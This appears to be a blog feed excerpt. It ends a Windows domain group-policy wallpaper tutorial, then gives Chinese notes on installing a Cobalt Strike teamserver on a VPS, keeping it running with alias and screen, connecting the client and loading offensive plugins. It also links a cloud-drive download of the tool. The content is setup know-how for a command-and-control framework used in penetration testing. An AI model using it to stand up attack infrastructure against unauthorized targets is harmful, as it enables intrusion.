&lt;p&gt;​	可以发现上面还有一个Default Domain Policy这是针对整个域都生效的策略，而刚新建的zhuomian是只针对wangyi这个组织单位的用户生效的策略&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;右键zhuomian策略-&amp;gt;编辑，就会弹出针对于该组织单位下用户的组策略编辑器&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/34c8ac8d8d-image-20240126212601019.png&quot; alt=&quot;image-20240126212601019&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;​	比方说我们现在要做一个桌面策略，这里的计算机配置主要偏向于全局的策略，而用户配置是针对于我们单一用户生效的策略，而桌面策略更加偏向于单一用户生效的用户配置，用户配置和计算机配置差不多一样，唯一不同的就是在用户配置中多了一个桌面策略，因为每个用户的桌面都不相同嘛&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;启用桌面策略&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/b1b59b5dfd-image-20240126213725134.png&quot; alt=&quot;image-20240126213725134&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;桌面墙纸-&amp;gt;编辑，可以发现我们只能用bmp或者jpg，png是用不了的，.png改名成.jpg也不行&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/beee84bb13-image-20240126213923525.png&quot; alt=&quot;image-20240126213923525&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;我们在桌面创建一个文件夹，然后将jpg图片拖进这个文件夹中&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/eac2dff90c-image-20240126214150532.png&quot; alt=&quot;image-20240126214150532&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;首先呢，我们需要把picture这个文件夹共享出去&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/b7ac337d75-image-20240126214240476.png&quot; alt=&quot;image-20240126214240476&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/f00e6ae9eb-image-20240126214507003.png&quot; alt=&quot;image-20240126214507003&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/798e5538c0-image-20240126214643727.png&quot; alt=&quot;image-20240126214643727&quot; style=&quot;zoom: 33%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;还可以高级共享&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/b3cddec641-image-20240126214759029.png&quot; alt=&quot;image-20240126214759029&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;我们在域内主机中做一个确认，看是否共享成功(为了之后桌面策略中选择路径的简便我将文件夹和图片名都改成1了)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/fa74726ad3-image-20240126215246596.png&quot; alt=&quot;image-20240126215246596&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;**回到桌面策略，壁纸名称写共享图片的路径&lt;code&gt;\\10.1.1.1\1\1.jpg&lt;/code&gt;注意不能有空格 **&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/5a7857d148-image-20240126220251095.png&quot; alt=&quot;image-20240126220251095&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;打开cmd，输入gpupdate，更新组策略生效&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/6c47889086-image-20240126215716577.png&quot; alt=&quot;image-20240126215716577&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重新启动一下Windows7&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/5e0018f704-image-20240126220220859.png&quot; alt=&quot;image-20240126220220859&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;可以发现桌面策略配置成功&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>Cobalt Strike (CS) 笔记</title><link>https://wangyi187.top/posts/cobalt-strike-notes/</link><guid isPermaLink="true">https://wangyi187.top/posts/cobalt-strike-notes/</guid><description>0x06 Cobalt Strike（CS） 零、参考文献 1、https://blog.csdn.net/weixin_44268918/article/details/1288</description><pubDate>Thu, 25 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x06 Cobalt Strike（CS）&lt;/h1&gt;
&lt;hr /&gt;
&lt;h2&gt;零、参考文献&lt;/h2&gt;
&lt;p&gt;1、https://blog.csdn.net/weixin_44268918/article/details/128857998&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;---Cobalt Strike工具安装与基础使用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;2、https://blog.csdn.net/weixin_46878811/article/details/116928234&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;---CentOS环境下搭建CobaltStrike服务器&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;3、https://blog.csdn.net/qq_44874645/article/details/118443290&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;---【渗透测试笔记】之【Cobalt Strike小技巧——后台挂起CS服务端】&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;4、https://cloud.tencent.com/developer/article/1844735&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;---Linux终端命令神器--Screen命令详解。助力Linux使用和管理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;5、https://blog.csdn.net/hnjb5873/article/details/106235674&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;---Centos screen的安装与使用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;6、https://blog.csdn.net/xiegan110/article/details/112095796&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;---Linux/CentOS 自定义命令alias&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;7、https://zhuanlan.zhihu.com/p/84306720&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;---配置一个永久生效的alias&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;8、https://blog.csdn.net/qq_41901122/article/details/129063687#:~:text=%E7%82%B9%E5%87%BB%20CobaltStrike%20%E2%80%93%3E%20Script%20Manager%20%E7%82%B9%E5%87%BB%20Load%20%E5%8A%A0%E8%BD%BD%E6%8F%92%E4%BB%B6%EF%BC%8C%E5%8A%A0%E8%BD%BDLadon,Load%20%E5%8A%A0%E8%BD%BD%E6%8F%92%E4%BB%B6%EF%BC%8C%E5%8A%A0%E8%BD%BDOLa%E6%8F%92%E4%BB%B6%E5%90%8E%E7%BC%80%E6%A0%BC%E5%BC%8F%E4%B8%BA.cna%20%E7%82%B9%E5%87%BB%20Load%20%E5%8A%A0%E8%BD%BD%E6%8F%92%E4%BB%B6%EF%BC%8C%E5%8A%A0%E8%BD%BD%E6%8F%92%E4%BB%B6TaoWU%2C%E5%90%8E%E7%BC%80%E6%A0%BC%E5%BC%8F%E4%B8%BA.cna%20%E7%82%B9%E5%87%BB%20Load%20%E5%8A%A0%E8%BD%BD%E6%8F%92%E4%BB%B6%EF%BC%8C%E5%8A%A0%E8%BD%BD%E6%8F%92%E4%BB%B6XieGongZI%2C%E5%90%8E%E7%BC%80%E6%A0%BC%E5%BC%8F%E4%B8%BA.cna&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;---Cobalt Strike第五篇导入插件&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;9、https://blog.csdn.net/u014163312/article/details/120090833#:~:text=%E5%BD%93%20SSH%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%88%96%E8%80%85%E8%BF%9C%E7%A8%8B%E5%B7%A5%E5%85%B7%E7%99%BB%E5%BD%95%20%E9%98%BF%E9%87%8C%E4%BA%91%E6%9C%8D%E5%8A%A1%E5%99%A8%20%EF%BC%8C%20ssh%20root%4047.107.%2A%20%E6%97%B6%EF%BC%8C%E7%BB%8F%E5%B8%B8%E4%BC%9A%E5%8F%91%E7%8E%B0,%2F%2F%20%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%B6%85%E8%BF%87%E5%8D%81%E6%AC%A1%E6%B2%A1%E5%93%8D%E5%BA%94%EF%BC%8C%20%E8%87%AA%E5%8A%A8%20%E6%96%AD%E5%BC%80%EF%BC%88%E5%8D%B310%E5%88%86%E9%92%9F%EF%BC%89%202.%E9%87%8D%E5%90%AF%20SSH%20%E6%9C%8D%E5%8A%A1%20s&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;---[已解决]阿里云服务器VPS在SecureCRT短时间自动断开连接问题&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;10、https://blog.csdn.net/shuteer_xu/article/details/106435793&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;---Cobalt Strike 证书修改&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;11、https://cloud.tencent.com/developer/article/2371031&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;---Cobalt Strike最实用的24条命令（建议收藏）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;12、https://www.ddosi.org/cobalt-strike-bypass/&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;---cobalt strike特征隐藏|修改默认端口|去除证书特征|混淆配置&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;13、https://blog.csdn.net/weixin_44288604/article/details/119456115&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;---细说——CS联动MSF&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;14、https://www.freebuf.com/sectool/283399.html&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;---渗透红队必备工具_CobaltStrike4.3_cs与msf联动&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;一、简介&lt;/h2&gt;
&lt;p&gt;​	Cobalt Strike是一款超级好用的渗透测试工具，拥有多种协议主机上线方式，集成了提权，凭据导出，端口转发，socket代理，office攻击，文件捆绑，钓鱼等多种功能。同时，Cobalt Strike还可以调用Mimikatz等其他知名工具，因此广受技术大佬的喜爱。&lt;/p&gt;
&lt;p&gt;同时Cobalt Strike集成了端口转发、服务扫描，自动化溢出，多模式端口监听，win exe木马生成，win dll木马生成，java木马生成，office宏病毒生成，木马捆绑；钓鱼攻击包括：站点克隆，目标信息获取，java执行，浏览器自动攻击等等。&lt;/p&gt;
&lt;p&gt;并且Cobalt Strike采用C/S架构的商业渗透软件，适合多人进行团队协作，可模拟APT做模拟对抗，进行内网渗透。&lt;/p&gt;
&lt;h2&gt;二、下载&lt;/h2&gt;
&lt;p&gt;​	这里可以通过官网下载或者使用我给的网盘进行下载，并且进行了汉化，当然汉化不保证完全汉化。
  &lt;strong&gt;网盘中提供的是4.5版本&lt;/strong&gt;的，不过在&lt;strong&gt;4.7版本以下的版本中存在XSS漏洞(CVE-2022-39197)，可被蓝队反攻，使用还需要注意&lt;/strong&gt;。至于4.7版本也有但是没汉化，所以就没有提供。&lt;/p&gt;
&lt;p&gt;**官网：**https://www.cobaltstrike.com/&lt;/p&gt;
&lt;p&gt;**网盘：**https://pan.baidu.com/s/1FwHL1Lsc_Qlhy6U_40LEwQ?pwd=bnft&lt;/p&gt;
&lt;h2&gt;三、部署&lt;/h2&gt;
&lt;p&gt;在安装Cobalt Strike的时候需要安装服务端以及客户端，并且服务端必须要安装在Linux系统下，而客户端就没那么多要求。&lt;/p&gt;
&lt;p&gt;同时服务端和客户端都需要安装java运行环境，这里我使用自己的vps(CentOS 7.9)来安装服务端，客户端安装在Windows操作系统上。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;VPS(上海)：&lt;/strong&gt; 公网IP：&lt;code&gt;47.100.182.88&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;​		   CS连接密码：&amp;lt;teamserver-password&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;连接主机：&lt;/strong&gt; windows10 虚拟机：&lt;code&gt;192.168.23.140&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;1、服务端&lt;/h3&gt;
&lt;h4&gt;0.前置需求&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;1&amp;gt;CentOS 7.9 64位&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2&amp;gt;Cobalt Strike压缩包(记住需要时压缩包而不是文件)&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;1.安装Java环境&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;yum install -y java-1.8.0-openjdk.x86_64&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;2.将Cobalt Strike压缩包移至vps(CentOS 7.9)上&lt;/h4&gt;
&lt;p&gt;要把Cobalt Strike放入到CentOS中，这里推荐2种方法，都是使用FTP来进行传输，最简单的2种：&lt;/p&gt;
&lt;h5&gt;1&amp;gt;使用Xshell自带的Xftp功能直接传输压缩包（直接选择上传就可以了）&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/bb408c54c5-image-20231218203608473.png&quot; alt=&quot;image-20231218203608473&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;2&amp;gt;在CentOS中使用 lrzsz程序&lt;/h5&gt;
&lt;p&gt;（这个程序是在linux种可以代替ftp上传或者下载）在终端输入 &lt;strong&gt;yum install -y lrzsz&lt;/strong&gt;（如果在CentOS中没有这个程序的可以使用yum装一个）&lt;/p&gt;
&lt;p&gt;如果有的话就直接在终端输入： &lt;strong&gt;rz&lt;/strong&gt; 进行使用程序传输文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/e951667dba-image-20231218203640041.png&quot; alt=&quot;image-20231218203640041&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;我这里选择用第二种方法上传Cobalt Strike压缩包&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/1c3865a15f-image-20231218204707775.png&quot; alt=&quot;image-20231218204707775&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;3.在vps(CentOS 7.9)上解压压缩包&lt;/h4&gt;
&lt;p&gt;上传完成之后，把cs压缩包解压出来，因CenTOS无法自行解压需下载一个解压文件：&lt;strong&gt;yum install -y unzip zip&lt;/strong&gt;（这也是在没有这个程序的基础上，这个程序是专门用来解压zip文件的）&lt;/p&gt;
&lt;p&gt;1、下载好unzip后：使用命令 unzip -d /home 111.zip&lt;/p&gt;
&lt;p&gt;/home:代表你想要将解压好的文件放到哪&lt;/p&gt;
&lt;p&gt;111.zip：代表你想解压的文件&lt;/p&gt;
&lt;p&gt;一般来说都是直接解压到根目录下的所以我这里直接就是&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;unzip cd cobalt\ strike/.zip&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/8f642e0224-9.png&quot; alt=&quot;9&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/60626cce7e-1.png&quot; alt=&quot;1&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;4.将包内的teamserver文件添加可执行权限&lt;/h4&gt;
&lt;p&gt;解压后，进入到解压好的文件夹下面，查看权限（这个是我已经修改到可执行权限了）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/9b2307d789-2.png&quot; alt=&quot;2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果没有执行权限的话可以执行：&lt;strong&gt;chmod +x teamserver&lt;/strong&gt;进行添加可执行权限（因为CobaltStrike服务端需要运行teamserver这个文件，所以要添加可执行权限）&lt;/p&gt;
&lt;h4&gt;5.启动Cobalt Strike服务端&lt;/h4&gt;
&lt;p&gt;接下来就是启动CobaltStrike服务端了，在终端里面输入：&lt;strong&gt;./teamserver [IP] [PASSWORD]&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;【IP】:代表服务器公网IP&lt;/p&gt;
&lt;p&gt;【PASSWORD】:代表连接CobaltStrike服务端的密码&lt;/p&gt;
&lt;p&gt;下面就是已经开启服务端的CobaltStrike了&lt;/p&gt;
&lt;p&gt;之前提到过我上海vps的公网IP为 &lt;strong&gt;47.100.182.88&lt;/strong&gt;，这里设置cs的密码为 &lt;strong&gt;&amp;lt;teamserver-password&amp;gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这里输入的命令就为&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;./teamserver 47.100.182.88 &amp;lt;teamserver-password&amp;gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/4b38d1a19f-3.png&quot; alt=&quot;3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到cs服务器成功启动！&lt;/p&gt;
&lt;h4&gt;6.封装启动Cobalt Strike服务端的命令(alias简化启动流程)&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;什么是alias？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;概念：alias可以简单理解为常用命令的别名/简写。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;alias命令格式&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;alias [你想要设置的别名]=&apos;[你想要设置的命令]&apos; 

#注意等号两边不能有空格
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们要设置的命令为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;alias csstart=&apos;./teamserver 47.100.182.88 &amp;lt;teamserver-password&amp;gt;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;vim /etc/bashrc&lt;/strong&gt; #在文件末尾编辑&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/a10e4b1b20-4.png&quot; alt=&quot;4&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;source ~/.bashrc&lt;/strong&gt;  #生效刚才修改的配置文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/ce57f42397-5.png&quot; alt=&quot;5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意：重启服务器就会使alias的配置失效，不过vps一般很少重启，这里就不再过多的设置，想要配置一个永久生效的alias请详读之前列出的参考文献&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们尝试一下效果，输入&lt;strong&gt;csstart&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/6556e51f9d-7.png&quot; alt=&quot;7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以发现跟之前输了那么一大串的命令效果一致，配置成功！&lt;/p&gt;
&lt;h4&gt;7.后台挂起Cobalt Strike服务端(screen避免断开连接服务器关闭)&lt;/h4&gt;
&lt;p&gt;由于每次断开vps ssh CS服务器就会关闭，并且开启cs服务器就会导致当前的终端被占用，所以我们就需要想出其他办法解决这个问题&lt;/p&gt;
&lt;p&gt;这里我们引入 &lt;strong&gt;screen&lt;/strong&gt;&lt;/p&gt;
&lt;h5&gt;1&amp;gt;screen的功能&lt;/h5&gt;
&lt;p&gt;screen的功能大体有三个：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;**会话恢复：只要Screen本身没有终止，在其内部运行的会话都可以恢复。**这一点对于远程登录的用户特别有用——即使网络连接中断，用户也不会失去对已经打开的命令行会话的控制。只要再次登录到主机上执行screen -r就可以恢复会话的运行。同样在暂时离开的时候，也可以执行分离命令detach，在保证里面的程序正常运行的情况下让Screen挂起（切换到后台）。这一点和图形界面下的VNC很相似。&lt;/li&gt;
&lt;li&gt;**多窗口：**在Screen环境下，**所有的会话都独立的运行，并拥有各自的编号、输入、输出和窗口缓存。**用户可以通过快捷键在不同的窗口下切换，并可以自由的重定向各个窗口的输入和输出。&lt;/li&gt;
&lt;li&gt;**会话共享：**Screen可以让一个或多个用户从不同终端多次登录一个会话，并共享会话的所有特性（比如可以看到完全相同的输出）。它同时提供了窗口访问权限的机制，可以对窗口进行密码保护。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这三个功能，其实互相交织，组成screen功能繁多的命令集。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这里我们主要运用第二个功能---多窗口&lt;/strong&gt;&lt;/p&gt;
&lt;h5&gt;2&amp;gt;CentOS下载screen&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;yum -y install screen&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/0f048fe3bd-6.png&quot; alt=&quot;6&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h5&gt;3&amp;gt;常用命令简介&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;1、screen -R shell1 	#创建虚拟终端并命名,也可以直接键入screen启动，输入任意键就会进入另一个终端，但是这样的名称太乱(以Linux的hostname命名）

2、Ctrl+a 再按d		#退出screen的终端，来到实际终端

3、screen -ls	 	#查看后台终端会话【可查看pid/name】

4、screen -r [pid/name]		#回到虚拟终端

5、进入对应虚拟终端，然后输入exit		#清除终端
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;这里我一开始为了图方便就直接screen启动了，最好不要这么做哈！&lt;/strong&gt;&lt;/p&gt;
&lt;h5&gt;4&amp;gt;使用screen后台挂起(常用命令展示)&lt;/h5&gt;
&lt;p&gt;输入任意键后，在新创建的终端内启动cs服务端，由于之前已经用alias简化过命令了，我们这里直接输&lt;strong&gt;csstart&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/6556e51f9d-7.png&quot; alt=&quot;7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后&lt;strong&gt;Ctrl+a 再按d&lt;/strong&gt;退出screen的终端，来到实际终端&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;screen -ls&lt;/strong&gt;查看后台终端会话&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/2575559588-10.png&quot; alt=&quot;10&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以发现这个终端的pid【进程号】为2353&lt;/p&gt;
&lt;p&gt;**screen -r 2353 **回到虚拟终端&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/6556e51f9d-7.png&quot; alt=&quot;7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;先&lt;strong&gt;Ctrl+c&lt;/strong&gt;暂停一下cs服务端，然后再输入&lt;strong&gt;exit&lt;/strong&gt;清除该虚拟终端，再用&lt;strong&gt;screen -ls&lt;/strong&gt;查看后台终端会话，可以发现原本的虚拟终端被消除了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/7930df01af-12.png&quot; alt=&quot;12&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;screen的一些常用功能已经展示完毕，其他高阶功能就不过多再做演示&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;2、客户端&lt;/h3&gt;
&lt;h4&gt;1.客户端配置操作&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;点击cobalt strike文件包里的cs.bat，客户端尝试连接一下，主机必须自带Java 1.8以上的环境变量&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/98de6ae743-image-20231218223346173.png&quot; alt=&quot;image-20231218223346173&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/855f317799-image-20231218223648734.png&quot; alt=&quot;image-20231218223648734&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以发现会跳出一个窗口&lt;/p&gt;
&lt;p&gt;主机地址填&lt;strong&gt;服务器公网IP&lt;/strong&gt;【刚才设置的上海vps】&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;cs默认连接端口50050&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用户名随便填&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;密码填**&amp;lt;teamserver-password&amp;gt;**【刚才设置的连接密码】&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/9a3d30846c-image-20231218212724785.png&quot; alt=&quot;image-20231218212724785&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以看到这个页面说明成功连接！&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/0886594ac3-image-20231218212659290.png&quot; alt=&quot;image-20231218212659290&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;但是当我们尝试对已连接的主机进行一些操作的时候却发现服务端配置的cs服务器插件太少&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/473bc794ac-image-20231218224156134.png&quot; alt=&quot;image-20231218224156134&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;这时候我们就需要导入一些插件来丰富我们的功能&lt;/p&gt;
&lt;p&gt;就譬如:&lt;strong&gt;Ladon、OLa、TaoWu、XieGongZi、LSTAR&lt;/strong&gt;等&lt;/p&gt;
&lt;p&gt;因为ONE-FOX集成工具箱都有这些玩意，所以这里就不去GitHub上下载了&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/f6b864c845-image-20231218231239301.png&quot; alt=&quot;image-20231218231239301&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;2.客户端脚本加载&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;点击Cobalt Strike-&amp;gt;脚本管理器&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/d3c56a1612-image-20231218231452310.png&quot; alt=&quot;image-20231218231452310&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;点击 Load 加载插件&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/62f6e03a66-image-20231218231627422.png&quot; alt=&quot;image-20231218231627422&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;加载Ladon插件后缀格式为 .cna&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/39103bc1e0-image-20231218231748855.png&quot; alt=&quot;image-20231218231748855&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;加载其他脚本插件也是一样的步骤&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/facf5a5d58-image-20231218232147656.png&quot; alt=&quot;image-20231218232147656&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;3.服务端脚本加载&lt;/h4&gt;
&lt;p&gt;​	Cobalt Strike服务器端有个&lt;strong&gt;agscript&lt;/strong&gt;文件，他是用来&lt;strong&gt;在服务器端运行cna插件文件的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/8ddcf1d4f8-image-20231219001703721.png&quot; alt=&quot;image-20231219001703721&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;后台运行&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nohup ./agscript cs的ip cs的端口 任意用户名 密码 插件路径 &amp;amp;
&lt;/code&gt;&lt;/pre&gt;
